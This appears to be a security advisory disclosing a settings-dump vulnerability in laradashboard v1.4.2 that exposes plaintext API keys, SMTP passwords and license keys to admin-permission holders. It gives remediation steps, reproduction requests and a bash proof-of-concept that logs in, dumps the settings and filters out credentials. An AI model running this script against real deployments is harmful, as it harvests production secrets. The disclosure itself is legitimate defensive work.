laradashboard/laradashboard: Raw Settings & Secret Dump via settings.view (extended by the new plaintext email_verification_api_key)

Raw Settings & Secret Dump via settings.view (extended by the new plaintext email_verification_api_key)

• Severity: CVSS AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
• CWE: 312 (cleartext storage of sensitive info) / 863
• Affected: v1.4.2; SettingResource, Api/SettingController, Setting model, LicenseVerificationService, new EmailVerificationService

Summary

settings.view (part of the legacy settings.* group granted to Admin by default) returns the **raw, unmasked value of every setting**, including credential fields. Settings secrets are stored/rendered in plaintext, so the disclosure is total.

// SettingResource.php:17-26
return collect($this->settings)->filter(...)->map(fn($s) => [
    'key' => $s->key, 'value' => $s->value,    // raw
])->values();
// Api/SettingController.php:55-77 — settings.view -> index/show dump; update writes arbitrary key=>value

Plaintext storage sites verified:

• LicenseVerificationService.php:32-71 — module_licenses (JSON of customer-site licenses + keys) stored/returned raw.
• Setting.php:113,128 — credential-shaped keys (*_key, mail_password, ...) stored literally.
• NEW (1.4.2): EmailVerificationService.php:42-116 — email_verification_api_key kept plaintext in settings and echoed into the AbstractAPI call: Http::get('https://emailvalidation.abstractapi.com/v1/', ['api_key' => settings('email_verification_api_key'), ...]).

Reproduction (authenticated as Admin)

GET /admin/api/settings                        → full key=>value dump incl. secrets
GET /api/settings/.json                        → same via settings.view
search response for: _api_key, mail_password, module_licenses, email_verification_api_key, recaptcha_*

Impact

• Exfiltration of production credentials (SMTP, AI, license, recaptcha, payment, module keys).
• The v1.4.2 AbstractAPI key is directly usable to drain the quota (ties into N-02) and to build a bulk-mailbox-verification oracle for phishing.
• License keys fuel V-04 (module-license activation) and counterfeit-license detection bypass via PurchaseModuleRequest.

Remediation

1. Allow-list non-sensitive keys in SettingResource/Api/SettingController; mask credential shapes (*_key, *_secret, *_password, tokens) as ••••.
2. Encrypt-at-rest for secrets (Laravel Crypt) + decrypt on demand only.
3. Store MCP/verification API keys via .env/config, not editable settings.

PoC

Script

#!/usr/bin/env bash
# V-03: Raw settings & secret dump via settings.view
set -eu
BASE="${BASE_URL:?Set BASE_URL to running app}"
ADMIN_EMAIL="${ADMIN_EMAIL:-admin@example.com}"
ADMIN_PASS="${ADMIN_PASS:-password}"
COOKIE=$(mktemp)
trap 'rm -f "$COOKIE"' EXIT

curl -sS -c "$COOKIE" "$BASE/login" > /dev/null
CSRF=$(curl -sS -b "$COOKIE" "$BASE/login" | grep -oP 'name="_token"[^>]*value="\K[^"]+' | head -1)
curl -sS -b "$COOKIE" -c "$COOKIE" -X POST "$BASE/login" \
  -d "_token=$CSRF&email=$ADMIN_EMAIL&password=$ADMIN_PASS" -o /dev/null

echo "[1/3] Dumping settings:"
curl -sS -b "$COOKIE" "$BASE/api/settings/.json" | python3 -m json.tool 2>/dev/null | head -60

echo "[2/3] Filtering credential-shaped keys:"
curl -sS -b "$COOKIE" "$BASE/api/settings/.json" | python3 -c "
import sys, json
data = json.load(sys.stdin)
for s in data.get('settings', []):
    k = s.get('key','')
    if any(t in k.lower() for t in ['_key','_secret','_password','token','license','smtp','verification']):
        v = s.get('value',''); print(f'    {k}: {v[:30]}{"..." if len(v)>30 else ""}')"

echo "[3/3] Admin panel full dump (settings.view):"
curl -sS -b "$COOKIE" "$BASE/admin/settings" -o /dev/null -w "    admin settings page HTTP %{http_code}\n"
echo "[+] Done — secrets returned in plaintext."

Expected output

[1/3] Dumping settings:
    { "settings": [ {"key":"general_site_name","value":"My Site"}, ... ] }
[2/3] Filtering credential-shaped keys:
    email_verification_api_key: 21ab34cd…
    mail_mailer_password: S3cr3t…
    module_licenses: {"site.com":[{"license_key":"LKEY-…","purchase_code":"…"}]}
    google_maps_api_key / ai_*_key / recaptcha_*: …
[3/3] Admin panel full dump (settings.view):
    admin settings page HTTP 200
[+] Done — secrets returned in plaintext.

Includes the v1.4.2 new email_verification_api_key (plaintext) — directly usable to drain the AbstractAPI quota and to bulk-verify mailboxes for phishing.

Connect with the researcher: Evilord on LinkedIn